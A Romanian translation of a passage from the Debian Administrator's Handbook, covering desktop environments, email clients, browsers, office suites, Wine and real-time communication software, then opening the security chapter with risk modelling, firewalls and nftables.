Poate fi instalat cu apt-get install xfce4. Ca și GNOME, Xfce se bazează pe setul de instrumente
GTK+ și mai multe componente sunt comune pe ambele desktop-uri.
Spre deosebire de GNOME și Plasma, Xfce nu își propune să fie un proiect vast. Dincolo de componentele de
bază ale unui desktop modern (manager de fișiere, manager de ferestre, manager de sesiuni, un panou
pentru lansatoare de aplicații și așa mai departe), acesta oferă doar câteva aplicații specifice: un terminal, un
calendar (Orage), un vizualizator de imagini, un Instrument de inscripționarea a CD/DVD-urilor, un media
player (Parole), controlul volumului sunetului și un editor de text (mousepad).

295
➨ https://xfce.org/

13.3.4. Alte desktop environments

Alte două medii de desktop, concentrate pe aspectul “ușor”, sunt LXDE și LXQT, instalabile cu ajutorul meta-
pachetelor lxde.și lxqt.
➨ https://lxde.org/
➨ https://lxqt.org/
Cinnamon și MATE au început când GNOME 3 s-a îndepărtat de paradigma tradițională pentru desktop,
renunțând la panoul obișnuit și la meniul său în favoarea noului shell bazat pe căutare. Primul a reintrodus un
panou prin forțarea GNOME Shell, iar cel de-al doilea este o continuarea GNOME 2. Acestea pot fi instalate
cu metapachetele cinnamon-desktop-environment și mate-desktop-environment.
➨ https://developer.linuxmint.com/projects/cinnamon-projects.html
➨ https://mate-desktop.org/

13.4. Email
13.4.1. Evolution
COMMUNITATE Instalarea pachetului popularity-contest permite participarea la un sondaj automat care informează proiectul
Pachete populare Debian despre cele mai populare pachete. Un script este rulat săptămânal de cron care trimite (prin HTTP sau
prin e-mail) o listă anonimizată a pachetelor instalate și ultima dată de acces pentru fișierele pe care le conțin.
Acest lucru permite diferențierea dintre pachetele instalate de cele care sunt utilizate efectiv.
Aceste informații sunt de mare ajutor pentru proiectul Debian. Este utilizat pentru a determina ce pachete ar
trebui să meargă pe primele discuri de instalare. Datele de instalare sunt de asemenea un factor important utilizat
pentru a decide dacă eliminați un pachet cu foarte puțini utilizatori din distribuție. Vă recomandăm din toată
inima să instalați pachetul popularity-contest și să participați la sondaj.
Datele colectate sunt făcute publice în fiecare zi.
➨ http://popcon.debian.org/
Aceste statistici pot ajuta, de asemenea, la alegerea dintre două pachete care ar părea altfel
echivalente. Alegerea pachetului mai popular crește probabilitatea de a face o alegere bună.

Evolution este e-mail client GNOME și poate fi instalat cu apt-get install evolution. Mai oferă și un
calendar, o carte de adrese, o listă de sarcini și o aplicație memo (free-form note). Componenta sa e-mail
include un puternic sistem de indexare a mesajelor și permite crearea de dosare virtuale bazate pe interogări
de căutare pe toate mesajele arhivate. Cu alte cuvinte, toate mesajele sunt stocate la fel, dar afișate într-o
organizație bazată pe folder, fiecare folder conținând mesaje care se potrivesc cu un set de criterii de filtrare.

Figura 13.5 Software-ul de e-mail Evolution

Cu extensia evolution-ews18. permite integrarea într-un sistem Microsoft Exchange e-mail;

18Pachetul evolution-ews nu face parte din Debian Buster. A fost eliminat în timpul procesului de lansare din cauza unei probleme de securitate. Dar la momentul redactării, o versiune
recentă este disponibilă ca backport (a se vedea secțiunea 6.1.2.4. “Stable backports” pagina 99).

296
13.4.2. KMail
KDE e-mail software poate fi instalat cu apt-get install kmail. KMail se ocupă doar de e-mail, dar
aparține unei suite software numită KDE-PIM (pentru Personal Information Manager) care include funcții
precum cărți de adrese, o componentă de calendar și așa mai departe. KMail are toate caracteristicile pe
care le-ați aștepta de la un e-mail client excelent.

Figura 13.6 Software-ul de e-mail KMail

13.4.3. Thunderbird
Pachetul thunderbird oferă e-mail client din suita Mozilla software. Diverse setări de regionalizare sunt
disponibile în pachetele thunderbird-l10n-*; extensia enigmail gestionează criptarea și semnarea mesajelor,
dar nu este disponibilă în toate limbile.

Figura 13.7 Software-ul de

e-mail Thunderbird

13.5. Navigatoare Web

Epiphany, web browser din suita GNOME, folosește WebKit display engine , dezvoltat de Apple pentru Safari
browser. Pachetul relevant este epiphany-browser.
Konqueror, managerul de fișiere KDE, se comportă de asemenea ca un browser web. Utilizează motorul de
randare KHTML specific KDE;

297
Utilizatorii care nu sunt mulțumiți de niciuna dintre cele de mai sus pot utiliza Firefox. Acest browser,
disponibil în pachetul firefox-esr, folosește Gecko pentru randare, al proiectului Mozilla, cu o interfață ușoară
și extensibilă.

Figura 13.8 Navigatorul web Firefox

VOCABULAR Mozilla are un ciclu de lansare foarte rapid pentru Firefox. Noile versiuni sunt publicate la fiecare șase până la
Firefox ESR opt săptămâni și numai cea mai recentă versiune este acceptată pentru probleme de securitate. Acest lucru nu se
potrivește cu tot felul de utilizatori, așa că, la fiecare 10 cicluri, ei promovează o versiune a acestora către o
versiune Extended Support Release (ESR), care va primi actualizări de securitate (și nici o modificare
funcțională) în timpul următoarelor 10 cicluri (care acoperă ceva mai mult de un an).
Debian are ambele versiuni împachetate. ESR, din pachetul firefox-esr este folosită implicit, deoarece este
singura versiune potrivită pentru Debian Stable cu perioada sa lungă de asistență (și chiar și acolo Debian trebuie
să treacă de câteva ori de la o versiune ESR la următoarele în timpul unui ciclu de viață Debian Stable). Firefox
obișnuit este disponibil în pachetul firefox dar este disponibil numai pentru utilizatorii Debian Unstable.

CULTURĂ Înainte de Debian Stretch, Firefox și Thunderbird lipseau. Pachetul iceweasel conținea Iceweasel, care este
Iceweasel, Firefox și altele practic Firefox sub un alt nume.
Motivul care stă la baza acestei redenumiri este rezultatul regulilor de utilizare impuse de Fundația Mozilla din
marca înregistrată FirefoxTM: orice software numit Firefox trebuie să utilizeze logo-ul și pictogramele oficiale
Firefox. Cu toate acestea, deoarece aceste elemente nu sunt lansate sub licență liberă, Debian nu le poate
distribui în secțiunea principală. În loc să mute întregul browser în non-liber, întreținătorul de pachete a ales să
folosească un alt nume.
Din motive similare, clientul de e-mail ThunderbirdTM a fost redenumit în mod similar Icedove.
În prezent, sigla și pictogramele sunt distribuite sub licență de software liber și Mozilla a recunoscut că
modificările făcute de proiectul Debian respectă licența de marcă, astfel încât Debian să poată aducă din nou
aplicațiile Mozilla sub numele lor oficial.

CULTURĂ Navigatorul Netscape a fost browserul standard atunci când web-ul a început să ajungă la mase, dar a fost lăsat
Mozilla în urmă progresiv când a apărut Microsoft Internet Explorer. În fața acestui eșec, Netscape (compania) a decis
să-și “elibereze” codul sursă, lansându-l sub licență liberă, acordându-i a doua șansă. Astfel a început proiectul
Mozilla. După mulți ani de dezvoltare, rezultatele sunt mai mult decât satisfăcătoare: proiectul Mozilla a creat
un motor de randare HTML (numit Gecko), care este unul dintre cele mai conforme cu standardele.
Acest motor de randare este folosit în special de browserul Mozilla Firefox, care este unul dintre cele mai de
succes browsere, cu o bază de utilizatori în creștere rapidă.

Nu în ultimul rând, Debian conține și Chromium browser (disponibil în pachetul chromium). Acest browser este
dezvoltat de Google și a devenit cel mai popular browser în doar câțiva ani. Scopul său clar este de a face
serviciile web mai atractive, atât prin optimizarea browser-ului pentru performanțe, cât și prin creșterea
securității utilizatorului. Codul liber care alimentează Chromium este, de asemenea, utilizat de versiunea sa
proprietară numită Google Chrome™.

298
13.6. Dezvoltarea
13.6.1. Instrumente pentru GTK+ pe GNOME
Anjuta (în pachetul anjuta) este un mediu de dezvoltare optimizat pentru crearea aplicațiilor GTK+ pentru
GNOME. Glade (în pachetul glade) este o aplicație concepută pentru a crea interfețe grafice GTK+ pentru
GNOME și a le salva într-un fișier XML. Aceste fișiere XML pot fi apoi încărcate de biblioteca partajată
GTK+, prin componenta sa GtkBuilder pentru a recrea interfețele salvate; o astfel de caracteristică poate
fi interesantă, de exemplu pentru plugin-uri care necesită dialoguri.
➨ https://wiki.gnome.org/Apps/Builder
➨ https://anjuta.org/
➨ https://glade.gnome.org/

13.6.2. Instrumente pentru Qt

Aplicațiile echivalente sunt KDE de la KDevelop (în pachetul kdevelop) pentru mediul de dezvoltare și Qt
Designer (în pachetul qttools5-dev-tools) pentru proiectarea de interfețe grafice pentru aplicațiile Qt.
KDevelop este, de asemenea, un IDE generic și oferă pluginuri pentru alte limbaje, cum fi Python și PHP și
diferite sisteme de construire.

13.7. Munca în colaborare

13.7.1. Grupuri de lucru: groupware
Instrumentele pentru Groupware tind să fie relativ complicate de întreținut, deoarece agregă mai multe
instrumente și au cerințe care nu sunt întotdeauna ușor de reconciliat în contextul unei distribuții integrate.
Astfel, există o listă lungă de software-uri care au fost cândva disponibile în Debian, dar au fost abandonate
din cauza lipsei de întreținători sau a incompatibilității cu alte programe (mai noi) din Debian. A fost cazul
PHPGroupware, eGroupware și Kolab.
➨ http://www.egroupware.org/
➨ http://www.kolab.org/
Totuși, nu e totul pierdut. Multe dintre caracteristicile oferite în mod tradițional de software-ul “groupware” sunt
din ce în ce mai integrate în software-ul “standard”. Aceasta reduce cerința de software colaborativ specializat.
Pe de altă parte, acest lucru necesită de obicei un server specific. Mai interesant, Citadel (în pachetul citadel-
suite) și Sogo (în pachetul sogo) sunt alternative care sunt disponibile în Debian Buster.

13.7.2. Lucrări în colaborare, cu FusionForge

FusionForge este un instrument de dezvoltare colaborativă, cu oarece proveniență din SourceForge, un
serviciu de găzduire pentru proiecte free software. Este aceeași abordare generală bazată pe modelul de
dezvoltare standard pentru free software. Software-ul în sine a continuat să evolueze după ce codul
SourceForge a devenit proprietar. Autorii inițiali, VA Software, au decis să nu mai publice versiuni libere. La fel
s-a întâmplat din nou când prima furcare (GForge) a urmat aceeași cale. Deoarece diverse persoane și
organizații au participat la dezvoltare, actualul FusionForge include, de asemenea, funcții care vizează o
abordare mai tradițională a dezvoltării, precum și proiecte care nu sunt pur preocupate de dezvoltarea de
software.
FusionForge poate fi privită ca un amalgam de mai multe instrumente dedicate gestionării, urmăririi și
coordonării proiectelor. Aceste instrumente pot fi clasificate aproximativ în trei familii:
• communication; forumuri web, manager de liste de corespondență, sistem de anunțuri care permite
unui proiect să publice știri;
• tracking; agentul de urmărire (tracker) a sarcinii pentru controlul progresului și programării sarcinilor,
trackere pentru bug-uri (sau patch-uri, ori cereri de caracteristici, sau orice alt tip de “tichet”), sondaje;
• sharing: manager de documentație pentru a oferi un singur punct central pentru documentele legate
de un proiect, manager de lansare de fișiere generice, web site dedicat fiecărui proiect.

299
Întrucât FusionForge vizează în mare măsură proiecte de dezvoltare, acesta integrează, de asemenea, multe
instrumente precum CVS, Subversion, Git, Bazaar, Darcs, Mercurial și Arch pentru gestionarea controlului
surselor ( numite și “gestionarea configurației” sau “version control”). Aceste programe păstrează un istoric cu
toate revizuirile tuturor fișierelor urmărite (adesea fișiere cu cod sursă), cu toate modificările prin care pot
trece și pot îmbina modificări atunci când mai mulți dezvoltatori lucrează simultan la aceeași parte a unui
proiect.
Majoritatea acestor instrumente sunt accesibile, sau chiar gestionate, printr-o interfață web, cu un sistem de
permisiuni cu ajustări fine și notificări prin e-mail pentru unele evenimente.
FusionForge nu face parte din Debian Stable. Este o stivă mare de software greu de întreținut, și beneficiază
doar de puțini utilizatori care sunt de obicei suficient de experți pentru a putea suporta pachetul de la Debian
Unstable.

ALTERNATIVE FusionForge a fost folosit pentru a alimenta platforma alioth.debian.org utilizată de proiectul Debian și
GitLab dezvoltatorii săi pentru gestionarea și dezvoltarea colaborativă a pachetelor timp de aproape un deceniu. Datorită
unor limitări, acesta a fost înlocuit și închis în 2018 de un nou serviciu alimentat de GitLab. Vedeți bara laterală
“ GitLab, găzduirea depozitului Git și multe altele” pagina 33.

13.8. Suitele Office

În lumea software-ului liber s-a văzut de mult timp lipsa unui office software. Utilizatorii au nevoie de suplinitori
ai instrumentelor Microsoft ca Word și Excel, dar acestea fiind atât de complexe, înlocuirile au fost greu de
dezvoltat. Situația s-a schimbat atunci când Sun a lansat codul StarOffice sub o licență liberă sub denumirea
de OpenOffice, un proiect din care s-a născut Libre Office, care este disponibil pe Debian. Proiectul KDE, tot
așa, are suita de birou numită Calligra Suite (anterior KOffice) iar GNOME, deși nu oferă niciodată o suită
completă de birou, oferă AbiWord ca procesor de texte și Gnumeric ca foaie de calcul. Diferitele proiecte își
au punctele forte. De exemplu, foaia de calcul Gnumeric este mai bună decât OpenOffice.org/Libre Office în
unele domenii, în special precizia calculelor sale. Totuși, suita Libre Office conduce în ceea ce privește
procesarea textului.
O altă caracteristică importantă pentru utilizatori este posibilitatea de a importa documente Microsoft Office.
Chiar dacă toate suitele de birou au această caracteristică, doar cele din OpenOffice.org și Libre Office sunt
suficient de funcționale pentru utilizarea zilnică.

VIZIUNEA EXTINSĂ Contribuitorii la OpenOffice.org au pus bazele unei fundații (Document Foundation) pentru a încuraja
Libre Office înlocuiește dezvoltarea proiectului. Ideea fusese discutată de ceva vreme, dar declanșatorul propriu-zis a fost achiziția lui
OpenOffice.org Sun de către Oracle. Noul proprietar a făcut ca viitorul OpenOffice să fie incert la Oracle. Deoarece Oracle a
refuzat să se alăture fundației, dezvoltatorii au fost nevoiți să renunțe la numele OpenOffice.org. Acest software
este acum cunoscut sub numele de Libre Office și este disponibil în Debian.
După o perioadă de relativă stagnare cu OpenOffice.org, Oracle a donat codul și drepturile asociate către
Apache Software Foundation, iar OpenOffice este acum un proiect Apache. Acest proiect nu este disponibil în
prezent în Debian și este oarecum muribund în comparație cu Libre Office.

Libre Office și Calligra Suite sunt disponibile în pachetele Debian libreoffice și calligra. Deși pachetul gnome-
office a fost folosit anterior pentru a instala o colecție de instrumente de birou precum AbiWord și Gnumeric,
acest pachet nu mai face parte din Debian; pachetele individuale AbiWord și Gnumeric fiind acum pe cont
propriu.
Calupul specific limbii pentru Libre Office este distribuit în pachete separate, în special libreoffice-l10n-* și
libreoffice-help-*. Unele caracteristici, cum ar fi dicționarele de ortografie, modelele de despărțirea în silabe
(hyphenation) și dicționarele “Thesaurus" sunt în pachete separate, cum ar fi myspell-*, hunspell-*, hyphen-* și
mythes-*.

13.9. Emularea Windows: Wine

În ciuda tuturor eforturilor menționate anterior, există încă o serie de instrumente fără echivalent Linux sau
pentru care versiunea inițială este absolut necesară. Acesta este locul în care sistemele de emulație
Windows vin la îndemână. Cel mai cunoscut dintre ele este Wine.
➨ https://www.winehq.org/

300
 COMPLETĂRI CrossOver, produs de CodeWeavers, este un set de îmbunătățiri pentru Wine care lărgește setul de funcții
CrossOver Linux emulate disponibile până la un punct în care Microsoft Office devine complet utilizabil. Unele dintre aceste
îmbunătățiri sunt reunite periodic în Wine.
➨ http://www.codeweavers.com/products/

Cu toate acestea, trebuie să țineți cont că este doar o soluție printre altele, iar problema poate fi abordată și
cu o mașină virtuală sau VNC; ambele soluții sunt detaliate în barele laterale “Mașini virtuale” pagina 301 și
“Windows Terminal Server sau VNC” pagina 301.
Să începem cu un memento: emularea permite executarea unui program (dezvoltat pentru un sistem țintă)
pe un sistem gazdă diferit. Programul de emulare utilizează sistemul gazdă, unde rulează aplicația, pentru a
imita caracteristicile necesare ale sistemului țintă.
Acum, instalăm pachetele necesare (ttf-mscorefonts-installer este în secțiunea contrib):
# apt-get install wine ttf-mscorefonts-installer

Pe un sistem pe 64 bit (amd64), dacă aplicațiile dvs. Windows sunt aplicații pe 32 bit, va trebui să activați
"multi-arch" pentru a putea instala wine32 din arhitectura i386 (vedeți secțiunea 5.4.5. “Asistență multi-arch”
pagina 91).
Utilizatorul trebuie apoi să ruleze winecfg și să configureze ce locații (Debian) sunt mapate către
(Windows) care discuri. winecfg are unele valori implicite rezonabile și pot autodetecta alte câteva unități;
rețineți că, dacă deși aveți un sistem dual-boot, nu ar trebui să indicați unitatea C: către locul în care partiția
Windows este montată în Debian, deoarece Wine este probabil să suprascrie o parte din datele din acea
partiție, făcând Windows-ul inutilizabil. Alte setări pot fi păstrate la valorile lor implicite. Pentru a rula
programe Windows, va trebui mai întâi să le instalați rulând instalatorul (Windows) în Wine, cu o comandă ca
wine .../setup.exe; odată instalat programul, îl puteți rula cu wine .../program.exe. Locația
exactă a fișierului program.exe depinde de locul în care este mapată unitatea C:; în multe cazuri, însă, pur
și simplu rularea wine program va funcționa, deoarece programul este instalat de obicei într-o locație pe
care însuși Wine o va căuta.

SFAT În unele cazuri, winecfg (care este doar un înveliș) ar putea eșua. Ca o rezolvare, este posibil să încercați să
Căutarea soluției la winecfg executați manual comanda de bază:
eșuat wine64 /usr/lib/x86_64-linux-gnu/wine/wine/winecfg.exe.so sau
wine32 /usr/lib/i386-linux-gnu/wine/wine/winecfg.exe.so .

Rețineți că nu ar trebui să vă bazați pe Wine (sau soluții similare) fără să testați efectiv software-ul: doar un
test de utilizare reală va determina concludent dacă emulația este complet funcțională.

ALTERNATIVĂ O alternativă la emularea sistemului de operare Microsoft este să-l executați într-o mașină virtuală care emulează
Mașini Virtuale o mașină hardware completă. Aceasta permite rularea oricărui sistem de operare. Capitolul 12. “Administrare
avansată” pagina 253 descrie mai multe sisteme de virtualizare, în special Xen și KVM (dar și QEMU, VMWare și
Bochs).

ALTERNATIVĂ O altă posibilitate este să executați de la distanță aplicațiile Windows vechi într-un server central cu Windows
Windows Terminal Server sau Terminal Server și să accesați aplicația de pe mașini Linux folosind rdesktop. Acesta este un client Linux pentru
VNC protocolul RDP (Remote Desktop Protocol) pe care Windows NT/2000 Terminal Server îl folosește pentru
afișarea desktop-urilor pe mașinile de la distanță.
Software-ul VNC oferă funcții similare, beneficiul suplimentar de a lucra și cu multe sisteme de operare.
Clienții și server-ele Linux VNC sunt descrise în secțiunea 9.2. “Autentificare la distanță” pagina 169.

13.10. Software de comunicații în timp real

Debian oferă o gamă largă de client software de comunicații în timp real (RTC - Real-Time Communications).
Configurarea RTC server este discutată în secțiunea 11.8. “Servicii de comunicație în timp real“ pagina 246. În
terminologia SIP (Session Initiation Protocol), o aplicație sau dispozitiv client este, de asemenea, referit ca user
agent.
Fiecare aplicație client variază în funcționalitate. Unele aplicații sunt mai convenabile pentru utilizatorii de
chat intensiv, în timp ce alte aplicații sunt mai stabile pentru utilizatorii de webcam. Poate fi necesar să se
testeze mai multe aplicații pentru a le identifica pe cele care sunt cele mai satisfăcătoare. Un utilizator poate

301
decide în sfârșit că are nevoie de mai multe aplicații, de exemplu, o aplicație XMPP pentru mesagerie cu
clienții și o aplicație IRC pentru colaborare cu unele comunități online.
Pentru a maximiza capacitatea utilizatorilor de a comunica cu lumea largă, se recomandă configurarea SIP
client și XMPP client sau a unui singur client care acceptă ambele protocoale.
GNOME desktop implicit include client de comunicații Empathy. Empathy poate susține atât SIP, cât și XMPP.
Acceptă mesagerie instant (IM), voce și video. KDE desktop oferă KDE Telepathy, un client de comunicații
bazat pe aceleași API-uri Telepathy de bază utilizate de GNOME Empathy client.
Printre alternativele populare la Empathy/Telepathy se numără Ekiga, Jitsi, Linphone, Psi și Ring (cunoscut
anterior ca SFLphone).
Unele dintre aceste aplicații pot interacționa, de asemenea, cu utilizatorii de telefonie mobilă folosind
aplicații ca Lumicall pe Android.
➨ http://lumicall.org
Ghidul rezumat al comunicațiilor în timp real (Real-Time Communications Quick Start Guide) are un capitol dedicat
client software.
➨ http://rtcquickstart.org/guide/multi/useragents.html
SFAT Unii clienți RTC au probleme semnificative la trimiterea de voce și video prin firewall-uri și rețele NAT.
Căutarea clienților care Utilizatorii pot primi apeluri fantomă (sună telefonul, dar nu-l aude pe celălalt) sau este posibil să nu poată apela
suportă ICE și TURN deloc.
Protocoalele ICE și TURN au fost dezvoltate pentru a rezolva aceste probleme. Operarea unui TURN server cu
adrese IP publice în fiecare sit și utilizarea software-ului client care acceptă atât ICE cât și TURN oferă cea mai
bună experiență de utilizare.
Dacă software-ul client este destinat doar mesageriei instantanee, nu există nicio cerință pentru suportul ICE sau
TURN.

Dezvoltatorii Debian operează un serviciu SIP comunitar la rtc.debian.org. Comunitatea menține un wiki cu
documentație despre configurarea multor aplicații client împachetate în Debian. Articolele și instantaneele
wiki sunt o resursă utilă pentru oricine își stabilește un serviciu similar pe propriul său domeniu.
➨ https://wiki.debian.org/UnifiedCommunications/DebianDevelopers/UserGuide
ALTERNATIVĂ IRC poate fi, de asemenea, luat în considerare, pe lângă SIP și XMPP. IRC este mai orientat în jurul conceptului
Internet Relay Chat de canale, al cărui nume începe cu un semn hash #. Fiecare canal este de obicei orientat către un anumit subiect
și orice număr de persoane se pot alătura unui canal pentru a discuta despre acesta (dar utilizatorii pot purta în
continuare conversații private unu la unu, dacă este necesar). Protocolul IRC este mai vechi și nu permite
criptarea end-to-end a mesajelor; este încă posibil să criptați comunicațiile dintre utilizatori și server prin
tunelarea protocolului IRC în SSL.
Clienții IRC sunt puțin mai complexi și oferă de obicei multe caracteristici care sunt de utilizare limitată într-un
mediu corporativ. De exemplu, “operatorii” canalului sunt utilizatori înzestrați cu capacitatea de a lovi alți
utilizatori dintr-un canal sau chiar de a le interzice definitiv, atunci când discuția normală este întreruptă.
Deoarece protocolul IRC este foarte vechi, mulți clienți sunt disponibili pentru a satisface mai multe grupuri de
utilizatori; Exemplele includ XChat și Smuxi (clienți grafici pe baza GTK+), Irssi (modul text), Circe (integrat
în Emacs) și așa mai departe.

302
303
 Repere

Firewall
Netfilter
nftables
IDS/NIDS

304
Capitolul 14

14. Securitate
Conţinut
Definirea politicii de securitate 306
Supravegherea: prevenirea, detectarea, determinarea 311
Introducere în SELinux 321 Alte considerente de securitate 328
Firewall sau filtrarea pachetelor 307
Introducere în AppArmor 316
Abordarea unei mașini compromise 331

Un sistem informațional poate avea un nivel de importanță diferit, în funcție de mediu. În unele cazuri, este
vital pentru supraviețuirea unei companii. Prin urmare, trebuie protejat împotriva diferitelor tipuri de riscuri.
Procesul de evaluare a acestor riscuri, definirea și implementarea protecției este cunoscut sub numele de
“proces de securitate”.

305
14.1. Definirea unei politici de securitate
PRUDENȚĂ Securitatea este un subiect vast și foarte sensibil, așa că nu putem pretinde să o descriem într-o manieră
Scopul acestui capitol cuprinzătoare pe parcursul unui singur capitol. Vom delimita doar câteva puncte importante și vom descrie unele
dintre instrumentele și metodele care pot fi de folos în domeniul securității. Pentru lecturi suplimentare,
literatura abundă și cărți întregi au fost dedicate subiectului. Un excelent punct de plecare ar fi Securitatea Linux
server de Michael D. Bauer (publicat de O'Reilly).

Cuvântul “securitate” în sine acoperă o gamă vastă de concepte, instrumente și proceduri, niciuna dintre
acestea nu se aplică universal. Să alegem dintre ele înseamnă să avem o idee precisă despre care sunt
obiectivele noastre. Securizarea unui sistem începe prin a răspunde la câteva întrebări. Graba față de
implementarea unui set arbitrar de instrumente riscă să se concentreze asupra aspectelor greșite ale
securității.
Primul lucru care trebuie stabilit este, prin urmare, scopul. O abordare adecvată în ajutorul acestei
determinări începe cu următoarele întrebări:
• Ce încercăm să protejăm? Politica de securitate va fi diferită în funcție de ce dorim să protejăm,
calculatoarele sau datele. În ultimul caz, trebuie să știm și ce date.
• Pentru ce încercăm să protejăm? Este o scurgere de date confidențiale? Pierdere accidentală de
date? Pierderea veniturilor cauzate de întreruperea serviciului?
• De asemenea, împotriva cui încercăm să ne protejăm? Măsurile de securitate vor fi destul de diferite
pentru protejarea împotriva dactilografiei unui utilizator obișnuit al sistemului decât ar fi în cazul
protejării împotriva unui grup hotărât de atacatori.
Termenul “risc” este folosit în mod obișnuit pentru a face referire colectivă la acești trei factori: ce trebuie
protejat, ce trebuie împiedicat să se întâmple și cine va încerca să facă acest lucru. Modelarea riscului
necesită răspunsuri la aceste trei întrebări. Din acest model de risc se poate construi o politică de securitate,
iar politica poate fi implementată cu acțiuni concrete.

REȚINEȚI Bruce Schneier, un expert mondial în probleme de securitate (nu numai securitatea computerului) încearcă să
Interogarea permanentă contracareze unul dintre cele mai importante mituri ale securității cu un motto: “Securitatea este un proces, nu
un produs”. Activele care trebuie protejate se schimbă în timp, la fel și amenințările și mijloacele disponibile
potențialilor atacatori. Chiar dacă inițial o politică de securitate a fost perfect concepută și pusă în aplicare, nu ar
trebui să ne bazăm niciodată pe laurii cuiva. Componentele riscului evoluează, iar răspunsul la acest risc trebuie
să evolueze în consecință.

Restrângerile suplimentare merită luate în considerare, deoarece pot restricționa gama de politici disponibile.
Cât de departe suntem dispuși să mergem pentru a asigura un sistem? Această întrebare are un impact
major asupra politicii de implementat. Răspunsul este prea des definit doar în ceea ce privește costurile
monetare, dar ar trebui luate în considerare și celelalte elemente ca gravitatea neplăcerilor aduse
utilizatorilor sistemului sau degradarea performanței.
Odată modelat riscul, se poate începe gândirea unui concept de politici reale de securitate.
REȚINEȚI Există cazuri în care alegerea acțiunilor necesare pentru securizarea unui sistem este extrem de simplă.
Politici extreme De exemplu, dacă sistemul care urmează să fie protejat conține doar un computer second-hand, a cărui singură
utilizare este adăugarea câtorva numere la sfârșitul zilei, decizia de a nu face nimic special pentru a a-l proteja ar
fi destul de rezonabilă. Valoarea intrinsecă a sistemului este scăzută. Valoarea datelor este zero, deoarece acestea
nu sunt stocate pe computer. Un potențial atacator care se infiltrează în acest “sistem” nu va câștiga decât un
calculator neinteresant pentru el. Costul securizării unui astfel de sistem ar fi probabil mai mare decât costul unei
breșe.
La celălalt capăt al spectrului, am putea dori să protejăm confidențialitatea datelor secrete în cel mai cuprinzător
mod posibil, fără alte considerații. În acest caz, un răspuns adecvat ar fi distrugerea totală a acestor date
(ștergerea în siguranță a fișierelor, mărunțirea discurilor hard în biți, apoi dizolvarea acestor biți în acid și așa
mai departe). Dacă există o cerință suplimentară ca datele să fie păstrate în depozit pentru utilizare viitoare (deși
nu sunt neapărat ușor disponibile), iar în cazul în care costul nu este încă un factor, atunci un punct de plecare ar
fi stocarea datelor pe plăci din aliaj de iridiu-platină stocate în buncărele rezistente la bombe sub diferiți munți
din lume, fiecare dintre ele fiind (desigur) atât complet secret, cât și păzite de armate întregi...
Deși aceste exemple pot părea extreme, acestea ar fi totuși un răspuns adecvat la riscurile definite, în măsura în
care acestea sunt rezultatul unui proces de gândire care ține cont de obiectivele de atins și de constrângerile de
îndeplinit. Atunci când provin dintr-o decizie motivată, nicio politică de securitate nu este mai puțin respectabilă
decât oricare alta.

306
În cele mai multe cazuri, sistemul informațional poate fi segmentat în subseturi consistente și în mare parte
independente. Fiecare subsistem va avea propriile cerințe și constrângeri, astfel încât evaluarea riscurilor și
proiectarea politicii de securitate ar trebui să fie întreprinse separat pentru fiecare. Un principiu bun de reținut
este faptul că un perimetru mic și bine definit este mai ușor de apărat decât o frontieră lungă și șerpuitoare.
Organizarea rețelei ar trebui să fie proiectată în consecință: serviciile sensibile ar trebui să fie concentrate pe
un număr mic de mașini, iar aceste mașini ar trebui să fie accesibile doar printr-un număr minim de puncte
de control; securizarea acestor puncte de control va fi mai ușoară decât asigurarea tuturor mașinilor
sensibile împotriva întregii lumi exterioare. În acest moment, utilitatea filtrării rețelei (inclusiv prin firewall)
devine evidentă. Această filtrare poate fi implementată cu hardware dedicat, dar o soluție posibil mai simplă și
mai flexibilă este utilizarea unui firewall software, cum ar fi cel integrat în nucleul Linux.

14.2. Firewall sau filtrarea pachetelor

NOȚIUNI DE BAZĂ Un firewall este un paravan de protecție; un echipament de calculator cu hardware și/sau software care sortează
Firewall intrările și ieșirile pachetelor de rețea (care vin sau vin de la o rețea locală) și le permite doar pe cele care
corespund anumitor condiții predefinite.

Un firewall este o poartă (gateway) de filtrare a rețelei și este eficient pentru că pachetele trebuie să treacă
numai prin el. Prin urmare, poate fi eficientă numai atunci când trecerea prin firewall este singura rută pentru
aceste pachete.

CAZ PARTICULAR Un firewall poate fi restricționat la o anumită mașină (spre deosebire de o rețea completă), caz în care rolul său
Firewall local este să filtreze sau să limiteze accesul la anumite servicii sau, eventual, să prevină conexiunile de ieșire ale unui
software necinstit pe care un utilizator l-ar fi putut instala de bună voie sau nu.

Nucleul Linux include netfilter firewall. Poate fi controlat din spațiul utilizatorului cu comenzile iptables,
ip6tables, arptables și ebtables.
Cu toate acestea, comenzile Netfilter iptables sunt înlocuite cu nftables, ceea ce evită multe dintre
problemele sale. Proiectarea sa implică mai puține duplicări de cod și poate fi gestionată doar cu comanda
nft. Debian Buster folosește implicit cadrul nftables.
Pentru a activa un firewall implicit în Debian executați:
# apt install -y nftables
Reading package lists... Done
...
# systemctl enable nftables.service
Created symlink /etc/systemd/system/sysinit.target.wants/nftables.service → /lib/
⮩ systemd/system/nftables.service.

14.2.1. Comportamentul lui ntables

Pe măsură ce nucleul procesează un pachet de rețea, acesta se întrerupe și ne permite să inspectăm
pachetul și să decidem ce să facem cu acel pachet. De exemplu, s-ar putea să dorim să renunțăm sau să
aruncăm anumite pachete de intrare, să modificăm alte pachete în diferite moduri, să blocăm anumite
pachete de ieșire pentru a le controla împotriva malware-ului sau să redirecționăm unele pachete în cea mai
timpurie etapă posibilă pentru a conecta interfețele de rețea sau pentru a răspândi încărcarea pachetelor de
intrare între sisteme.
O bună înțelegere a straturilor 3, 4 și 5 ale modelului OSI (Open Systems Interconnection) este esențială pentru
a beneficia la maximum de netfilter.

CULTURÂ Modelul OSI este un model conceptual pentru implementarea protocoalelor de rețea, fără a ține cont de structura
Modelul OSI și tehnologia sa internă. Scopul său este interoperabilitatea diverselor sisteme de comunicații cu protocoale
standard de comunicație.
Acest model a fost definit în standardul ISO/EIC 7498. Sunt descrise următoarele șapte straturi:
1. Physical: transmiterea și recepția fluxurilor de biți brute pe un mediu fizic
2. Data Link: transmisie fiabilă a cadrelor de date între două noduri conectate printr-un strat fizic
3. Network: structurarea și gestionarea unei rețele cu mai multe noduri, inclusiv adresarea, rutare și
controlul traficului
4. Transport: transmisie fiabilă a segmentelor de date între punctele unei rețele, inclusiv segmentarea,
confirmarea și multiplexarea

307
 5. Session: gestionarea sesiunilor de comunicare, adică schimbul continuu de informații sub forma mai
multor transmisii înainte și înapoi între două noduri
6. Presentation: traducere de date între un serviciu de rețea și o aplicație; inclusiv codificarea
caracterelor, compresia datelor și criptarea/decriptarea
7. Application: API-uri la nivel înalt, inclusiv partajarea resurselor, acces la fișier de la distanță.
Mai multe informații pot fi găsite pe Wikipedia:
➨ https://en.wikipedia.org/wiki/Osi_model

